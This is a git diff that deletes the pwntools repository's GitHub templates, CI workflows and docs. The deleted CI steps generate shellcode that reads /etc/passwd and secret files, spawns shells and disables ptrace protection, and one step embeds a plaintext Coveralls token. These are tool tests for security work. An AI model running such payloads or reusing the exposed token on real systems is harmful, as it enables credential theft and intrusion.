handle attaching by name correctly

Conflicts:
	visualization/visualedit.py

.gitattributes

@@ -1 +0,0 @@
-pwnlib/data/* linguist-vendored

.github/ISSUE_TEMPLATE.md

@@ -1,14 +0,0 @@
-# Pwntools Issue Template
-
-Thanks for contributing to Pwntools!
-
-When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
-
-Please verify that your issue occurs on 64-bit Ubuntu 14.04.  You can use the Dockerfile on `docker.io` for quick testing.
-
-```
-$ docker pull pwntools/pwntools:stable
-$ docker run -it pwntools/pwntools:stable
-```
-
-If possible, provide a proof-of-concept which demonstrates the problem.  Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.

.github/ISSUE_TEMPLATE/bug_report.md

@@ -1,54 +0,0 @@
----
-name: Bug report
-about: Create a report to help us improve
-title: ''
-labels: backport-required, bug
-assignees: ''
-
----
-
-Thanks for contributing to Pwntools!
-
-## Update Pwntools First
-
-When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
-
-## Debug Output
-
-Having the extra debug output really helps us, and might help you diagnose the problem yourself.
-
-When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
-
-```sh
-$ python exploit.py DEBUG LOG_FILE=log.txt
-```
-
-You should see `[DEBUG]` statements that show what's happening behind the scenes:
-
-```
-[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
-[DEBUG] Sent 0x7 bytes:
-    'whoami\n'
-[DEBUG] Sent 0x5 bytes:
-    'exit\n'
-[+] Receiving all data: Done (11B)
-[DEBUG] Received 0xb bytes:
-    'crashheap\n'
-[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
-```
-
-## Verify on Ubuntu
-
-If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04.  We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
-
-```sh
-# Download the Docker image
-$ docker pull pwntools/pwntools:stable
-
-# Boot the image
-$ docker run -it pwntools/pwntools:stable
-
-pwntools@7dc3ef409476:~$ python
->>> from pwn import *
->>> # Test your code here
-```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,18 +0,0 @@
----
-name: Feature request
-about: Suggest an idea for this project
-title: ''
-labels: feature
-assignees: ''
-
----
-
-Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
-
-If you've got an idea for a new feature, please provide information about:
-
-* What the feature does
-* Why the feature should exist
-* What tests should be included
-
-If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -1,18 +0,0 @@
----
-name: Question
-about: Ask us a question about Pwntools
-title: ''
-labels: question
-assignees: ''
-
----
-
-Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
-
-## Check the Documentation
-
-Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
-
-## Debug Output
-
-If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -1,32 +0,0 @@
-# Pwntools Pull Request
-
-Thanks for contributing to Pwntools!  Take a moment to look at [`CONTRIBUTING.md`][contributing] to make sure you're familiar with Pwntools development.
-
-Please provide a high-level explanation of what this pull request is for.
-
-## Testing
-
-Pull Requests that introduce new code should try to add doctests for that code.  See [`TESTING.md`][testing] for more information.
-
-## Target Branch
-
-Depending on what the PR is for, it needs to target a different branch.
-
-You can always [change the branch][change] after you create the PR if it's against the wrong branch.
-
-| Branch   | Type of PR                                                       |
-| -------- | ---------------------------------------------------------------- |
-| `dev`    | New features, and enhancements
-| `dev`    | Documentation fixes and new tests
-| `stable` | Bug fixes that affect the current `stable` branch
-| `beta`   | Bug fixes that affect the current `beta` branch, but not `stable`
-| `dev`    | Bug fixes for code that has never been released
-
-[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
-[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
-[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
-
-## Changelog
-
-After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
-You can look at the existing changelog for examples of how to do this.

.github/dependabot.yml

@@ -1,8 +0,0 @@
-version: 2
-updates:
-
-  - package-ecosystem: "github-actions"
-    directory: "/"
-    schedule:
-      # Check for updates to GitHub Actions every week
-      interval: "weekly"

.github/workflows/android.yml

@@ -1,70 +0,0 @@
-name: Android Tests
-
-on: [push, pull_request]
-
-jobs:
-  android-test:
-    strategy:
-      matrix:
-        python-version: ['3.10']
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v4
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
-      with:
-        python-version: ${{ matrix.python-version }}
-        cache: 'pip'
-        cache-dependency-path: |
-          **/pyproject.toml
-          **/requirements*.txt
-
-    - name: Install Linux dependencies
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          gdb gdbserver socat \
-          qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          libc6-dbg
-
-    - name: Cache for avd
-      uses: actions/cache@v4
-      id: cache-avd
-      with:
-        path: |
-          ~/.android
-          /usr/local/lib/android/sdk/emulator
-          /usr/local/lib/android/sdk/platform-tools
-          /usr/local/lib/android/sdk/system-images
-        key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
-        restore-keys: |
-          ${{ matrix.os }}-cache-avd-
-
-    - name: Install Android AVD
-      run: |
-        sudo usermod -aG kvm $USER
-        source travis/setup_avd_fast.sh
-        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
-        set | grep ^PATH >.android.env
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        python setup.py egg_info
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
-
-    - name: Coverage Doctests (Android Only)
-      run: |
-        source .android.env
-        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst

.github/workflows/changelog.yml

@@ -1,33 +0,0 @@
-name: Changelog
-on:
-  pull_request:
-    paths:
-    - pwnlib/**
-    - pwn/**
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  check:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 0
-
-    - name: Check changelog for updates
-      run: |
-        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
-           echo 'Changelog updated :D'
-        else
-           if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
-              echo 'Major changes detected, changelog required!'
-              false
-           else
-              echo 'Minor changes detected, no changelog required!'
-           fi
-        fi

.github/workflows/ci.yml

@@ -1,355 +0,0 @@
-name: Continuous Integration
-on: [push, pull_request]
-
-jobs:
-  test:
-    strategy:
-      matrix:
-        python_version: ['3.10', '3.12']
-        os: [ubuntu-latest]
-        include:
-          - python_version: '2.7'
-            os: ubuntu-22.04
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    services:
-      libcdb-cache:
-        image: nginx
-        volumes:
-          - /home/runner/libcdb-cache:/var/cache/nginx
-        ports:
-          - 3000:3000  # https://debuginfod.elfutils.org proxy cache
-          - 3001:3001  # https://libc.rip/ proxy cache
-          - 3002:3002  # http://archive.ubuntu.com/ proxy cache
-          - 3003:3003  # https://gitlab.com/ proxy cache
-          - 3004:3004  # https://debuginfod.ubuntu.com/ proxy cache
-    env:
-      DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
-      PWN_LIBCRIP_URL: http://localhost:3001/
-      PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
-      PWN_GITLAB_LIBCDB_URL:  http://localhost:3003/
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 20
-
-    - name: Git History
-      run: |
-        git fetch origin
-        git log --oneline --graph -10
-    
-    - name: Fix libcdb-cache permissions
-      id: fix-perms
-      run: |
-        sudo chown -R runner:runner /home/runner/libcdb-cache
-        echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
-
-    - name: Cache for libcdb requests
-      uses: actions/cache@v4
-      with:
-        path: ~/libcdb-cache
-        key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
-        restore-keys: |
-          libcdb-python${{ matrix.python_version }}-
-          libcdb-
-
-    - name: Install libcdb-cache service config
-      run: |
-        sudo chown -R 101:101 /home/runner/libcdb-cache
-        container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
-        docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
-        docker restart $container_id
-
-    - name: Install RPyC for gdb
-      run: |
-        # The version packaged in python3-rpyc is too old on Ubuntu 24.04
-        # We use ^6.0 from pip.
-        sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
-        /usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
-        gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
-    
-    - name: Cache for pip
-      uses: actions/cache@v4
-      if: matrix.python_version == '2.7'
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
-        restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
-
-    - name: Set up Python ${{ matrix.python_version }}
-      if: matrix.python_version != '2.7'
-      uses: actions/setup-python@v5
-      with:
-        python-version: ${{ matrix.python_version }}
-        cache: 'pip'
-        cache-dependency-path: |
-          **/pyproject.toml
-          **/requirements*.txt
-
-    - name: Set up Python 2.7
-      if: matrix.python_version == '2.7'
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y \
-          python2.7 python2.7-dev python2-pip-whl
-        sudo ln -sf python2.7 /usr/bin/python
-        export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
-        sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
-        sudo chown -R $USER /usr/local/lib/python2.7
-
-
-    - name: Verify tag against version
-      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        set -x
-        GITHUB_TAG=${GITHUB_REF#refs/tags/}
-        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
-        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
-        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
-        [ "$vsetup" = "$vpwnlib" ]
-        [ "$GITHUB_TAG" = "$vsetup" ]
-
-    - name: Install Linux dependencies
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          ash bash-static dash ksh mksh zsh \
-          gdb gdbserver socat \
-          binutils-multiarch qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          binutils-mips-linux-gnu \
-          binutils-mipsel-linux-gnu \
-          binutils-msp430 \
-          binutils-powerpc-linux-gnu \
-          binutils-s390x-linux-gnu \
-          binutils-sparc64-linux-gnu \
-          binutils-riscv64-linux-gnu \
-          gcc-multilib \
-          libc6-dbg \
-          elfutils \
-          patchelf
-      
-    - name: Testing Corefiles
-      run: |
-        ulimit -a
-        ulimit -c unlimited
-        cat /proc/sys/kernel/core_pattern
-        cat /proc/sys/kernel/core_uses_pid
-        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
-
-    - name: Set up SSH
-      run: |
-        travis/ssh_setup.sh
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        pip install --upgrade wheel build
-        pip install --upgrade flake8 appdirs
-        pip install --upgrade --editable .
-        # Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
-        pip install 'unicorn==2.1.2'
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run: pip install -r docs/requirements.txt
-
-    - name: Manually install non-broken Unicorn
-      if:   matrix.python_version == '2.7'
-      run:  pip install unicorn==2.0.0rc7
-
-    - name: Disable yama ptrace_scope
-      run: |
-        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
-
-    - name: Coverage doctests
-      run: |
-        # Python version installed using setup-python interferes with gdb's python
-        # by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules
-        # like _socket. This is a workaround.
-        unset LD_LIBRARY_PATH
-        PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
-
-    - name: Coverage running examples
-      run: |
-        export TERM=linux
-        set -x
-        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
-        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
-        python -bb -m coverage run examples/asm.py
-        python -bb -m coverage run examples/asm.py
-        python -bb -m coverage run examples/text.py
-        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
-
-    - name: Coverage running commandline tools
-      run: |
-        export TERM=linux
-        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
-        set -x
-
-        pwn cyclic 32
-        pwn cyclic -l 0x62616161
-        pwn cyclic -a ab
-        echo
-
-        pwn shellcraft --list |tail
-        pwn shellcraft -l --syscalls |tail
-        pwn shellcraft -l execve
-        pwn shellcraft -l execve + exit
-        pwn shellcraft --show i386.linux.loader_append
-        pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
-        pwn shellcraft -f asm --color amd64.linux.sh
-        pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
-        pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
-        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
-        pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
-        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
-        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
-        pwn shellcraft -f c   amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
-        pwn shellcraft -f str aarch64.linux.sh </dev/null
-        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
-        pwn shellcraft -fp aarch64.trap
-
-        pwn disasm --color ff3424c3ebfe
-        pwn asm -f hex nop
-
-        pwn hex ABCD
-        pwn hex ABCD --separator ' '
-        pwn hex ABCD --prefix '\x'
-        pwn hex ABCD -p '0x' -s ' '
-
-        pwn hex abcd
-        pwn unhex 4141 4141
-
-        cat /dev/urandom | pwn phd --color -c 256 -s 2
-        pwn phd -l 0x3d --color=always /etc/os-release
-
-        pwn checksec /bin/bash
-        (ulimit -v 500000 && pwn checksec /bin/bash)
-
-        pwn errno 2
-        pwn errno -1
-        pwn errno EADDRINUSE
-
-        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
-        pwn constgrep ^MAP_ 0
-        pwn constgrep -e O_RDWR
-        pwn constgrep C
-
-        pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
-        pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
-        pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
-
-    - name: Build source and wheel distributions
-      if: matrix.python_version != '2.7'
-      run: |
-        python -m build
-
-    - uses: actions/upload-artifact@v4
-      if: matrix.python_version == '3.10'
-      with:
-        name: packages
-        path: dist/
-        include-hidden-files: true
-
-    - uses: actions/upload-artifact@v4
-      with:
-        name: coverage-${{ matrix.python_version }}
-        path: .coverage*
-        include-hidden-files: true
-    
-    - name: Fix libcdb-cache permissions
-      run: |
-        container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
-        docker stop $container_id
-        sudo chown -R runner:runner /home/runner/libcdb-cache
-
-  windows-test:
-    runs-on: windows-latest
-    timeout-minutes: 30
-    continue-on-error: true
-    steps:
-    - uses: actions/checkout@v4
-
-    - name: Set up Python 3.12
-      uses: actions/setup-python@v5
-      with:
-        python-version: '3.12'
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run: |
-        python -bb -c 'from pwn import *'
-        python -bb examples/text.py
-
-  upload-coverage:
-    runs-on: ubuntu-latest
-    needs: test
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 20
-
-    - uses: actions/download-artifact@v4
-      with:
-        pattern: coverage-*
-        merge-multiple: true
-
-    - name: Install coveralls
-      run: |
-        pip install --break-system-packages tomli coveralls || pip install tomli coveralls
-
-    - name: Upload coverage to coveralls.io
-      run: |
-        coverage combine
-        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
-
-
-  staging-merge:
-    runs-on: ubuntu-latest
-    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
-    needs: test
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 20
-    - name: Push changes to protected branch
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        BRANCH=${GITHUB_REF#refs/heads/}
-        TARGET=${BRANCH%-staging}
-        git branch -f "$TARGET"
-        git push origin "$TARGET"
-        git push origin --delete "$BRANCH"
-
-
-  pypi:
-    runs-on: ubuntu-latest
-    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-    permissions:
-      id-token: write
-    needs: test
-    steps:
-    - name: Download artifacts
-      uses: actions/download-artifact@v4
-      with:
-        name: packages
-        path: dist
-
-    - name: Publish package
-      uses: pypa/gh-action-pypi-publish@release/v1
-
-    - if: failure()
-      run: ls -R

.github/workflows/docker.yml

@@ -1,64 +0,0 @@
-name: Publish Docker images
-on:
-  push:
-    branches:
-      - dev
-      - beta
-      - stable
-  workflow_dispatch:
-jobs:
-  publish:
-    runs-on: ubuntu-latest
-    if: github.repository_owner == 'Gallopsled'
-    steps:
-      # Required for subdirectories in Git context
-      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
-
-      - name: Login to Docker Hub
-        uses: docker/login-action@v3
-        with:
-          username: ${{ secrets.DOCKERHUB_USERNAME }}
-          password: ${{ secrets.DOCKERHUB_PASSWORD }}
-
-      - name: Build and push base image
-        uses: docker/build-push-action@v6
-        if: github.event_name == 'workflow_dispatch'
-        with:
-          context: "{{defaultContext}}:extra/docker/base"
-          push: true
-          tags: pwntools/pwntools:base
-
-      - name: Build and push stable image
-        uses: docker/build-push-action@v6
-        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
-        with:
-          context: "{{defaultContext}}:extra/docker/stable"
-          push: true
-          tags: pwntools/pwntools:stable
-
-      - name: Build and push beta image
-        uses: docker/build-push-action@v6
-        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
-        with:
-          context: "{{defaultContext}}:extra/docker/beta"
-          push: true
-          tags: pwntools/pwntools:beta
-
-      - name: Build and push dev image
-        uses: docker/build-push-action@v6
-        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
-        with:
-          context: "{{defaultContext}}:extra/docker/dev"
-          push: true
-          tags: |
-            pwntools/pwntools:dev
-            pwntools/pwntools:latest
-
-      - name: Build and push ci image
-        uses: docker/build-push-action@v6
-        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
-        with:
-          context: "{{defaultContext}}:travis/docker"
-          push: true
-          tags: pwntools/pwntools:ci

.github/workflows/lint.yml

@@ -1,33 +0,0 @@
-name: Lint
-on: [push, pull_request]
-
-jobs:
-  lint:
-    strategy:
-      matrix:
-        python-version: ['3.10']
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v4
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
-      with:
-        python-version: ${{ matrix.python-version }}
-        cache: 'pip'
-        cache-dependency-path: |
-          **/pyproject.toml
-          **/requirements*.txt
-
-    - name: Critical lint
-      run: |
-        pip install flake8
-        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-
-    - name: Style lint
-      run: |
-        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
-        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
-        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'

.github/workflows/merge-conflict.yml

@@ -1,30 +0,0 @@
-name: Check for merge markers
-on:
-  pull_request:
-    types: [synchronize]
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  mergecheck:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 0
-
-    - name: Check for merge conflict markers commited
-      run: |
-        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
-            echo 'WARNING: Merge marker commits found in history.'
-            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
-                echo 'ERROR: Merge markers still present! Do something!'
-                exit 1
-            fi
-        else
-            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
-        fi

.github/workflows/pylint.yml

@@ -1,36 +0,0 @@
-name: PyLint
-on: [pull_request]
-
-jobs:
-  build:
-    strategy:
-      matrix:
-        python-version: ['3.10']
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v4
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
-      with:
-        python-version: ${{ matrix.python-version }}
-        cache: 'pip'
-        cache-dependency-path: |
-          **/pyproject.toml
-          **/requirements*.txt
-
-    - name: PyLint
-      run: |
-        set -x
-        pip install 'pylint<4'
-        pip install --upgrade -e .
-        run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
-        run_pylint > current.txt
-        git fetch origin
-        git checkout origin/"$GITHUB_BASE_REF"
-        run_pylint > base.txt
-        if diff base.txt current.txt | grep '>'; then
-          false
-        fi

.gitignore

@@ -2,23 +2,5 @@
 *.hi
 *.pyc
 *~
-*.swp
-.ropeproject
 *.pdf
 */auto/*
-*/bin/*
-docs/build
-build
-MANIFEST
-dist
-venv
-.vscode
-.idea
-*.egg-info
-*.core
-.coverage
-.coverage.*
-.idea
-__pycache__
-!.github
-.DS_Store

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "lib/rpyc"]
+	path = lib/rpyc
+	url = https://github.com/tomerfiliba/rpyc.git

.isort.cfg

@@ -1,4 +0,0 @@
-[settings]
-indent='    '
-not_skip = __init__.py
-force_single_line = 1

.readthedocs.yaml

@@ -1,15 +0,0 @@
-# https://docs.readthedocs.io/en/stable/config-file/v2.html
-
-version: 2
-
-build:
-  os: ubuntu-22.04
-  tools:
-    python: "3.12"
-
-sphinx:
-  configuration: docs/source/conf.py
-
-python:
-  install:
-  - requirements: docs/requirements.txt

.sublime-settings

@@ -1,7 +0,0 @@
-{
-    "default_encoding": "UTF-8",
-    "ensure_newline_at_eof_on_save": true,
-    "tab_size": 4,
-    "translate_tabs_to_spaces": true,
-    "trim_trailing_white_space_on_save": true
-}

CONTRIBUTING.md

@@ -1,35 +0,0 @@
-# Contributing
-
-Github has a great guide for contributing to open source projects:
-
-- [Contributing to a project](https://guides.github.com/activities/forking/)
-- [Fork the repository](https://guides.github.com/activities/forking/#fork)
-- [Clone your fork](https://guides.github.com/activities/forking/#clone)
-- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
-- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
-- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
-
-## pwntools Specifics
-
-In general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
-
-After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
-
-Finally, it is probably a good idea to run the test suite locally before doing
-the pull-request to make sure everything works, however this is not a
-requirement.
-
-Once you are ready to do a pull-request, you should figure out if your changes
-constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
-stable or beta, you should do the pull-request against the branch in question,
-and otherwise your pull-request should be against the dev branch.
-
-Once you do the pull-request Travis CI will run the test-suite on it. Once it
-passes one of the core developers will look at your pull request, possibly
-comment on it and then hopefully merge it into the branch in question.
-
-## Automated Testing
-
-Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
-
-You can find more information on testing in [TESTING.md](TESTING.md).

DOCKER.md

@@ -1,76 +0,0 @@
-# Using Pwntools with Docker
-
-Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
-
-[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
-
-## Quick Start
-
-First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
-
-Next, download and run the Pwntools stable docker image.
-
-```sh
-$ docker run -it pwntools/pwntools:stable
-```
-
-## Recommended Settings
-
-In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
-
-```sh
-$ docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    pwntools/pwntools:stable
-```
-
-## Sharing a Folder
-
-It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image.  This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).  
-
-With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
-
-```sh
-$ mkdir $HOME/exploits
-
-$ vim $HOME/exploits/my_exploit.py
-
-$ docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    --mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
-    pwntools/pwntools:stable
-    
-$ python3 exploits/my_exploit.py
-```
-
-### Windows User Bind Mounts
-
-If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`.  The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
-
-```sh
-C:\Users\user> mkdir Desktop\exploits
-
-C:\Users\user> code Desktop\exploits\my_exploit.py
-
-C:\Users\user> docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    --mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
-    pwntools/pwntools:stable
-    
-$ python3 exploits/my_exploit.py
-
-```
-
-
-
-
-

LICENSE-pwntools.txt

@@ -1,34 +0,0 @@
-TL;DR version:
-   Everything in pwntools is open source. Most is under an MIT license, but a
-   few pieces are under GPL or a BSD 2-clause licence.
-
-This license covers everything within this project, except for a few pieces
-of code that we either did not write ourselves or which we derived from code
-that we did not write ourselves. These few pieces have their license specified
-in a header, or by a file called LICENSE.txt, which will explain exactly what
-it covers. The few relevant pieces of code are all contained inside these
-directories:
-
-- pwnlib/constants/
-- pwnlib/data/
-
-
-Copyright (c) 2015 Gallopsled et al.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
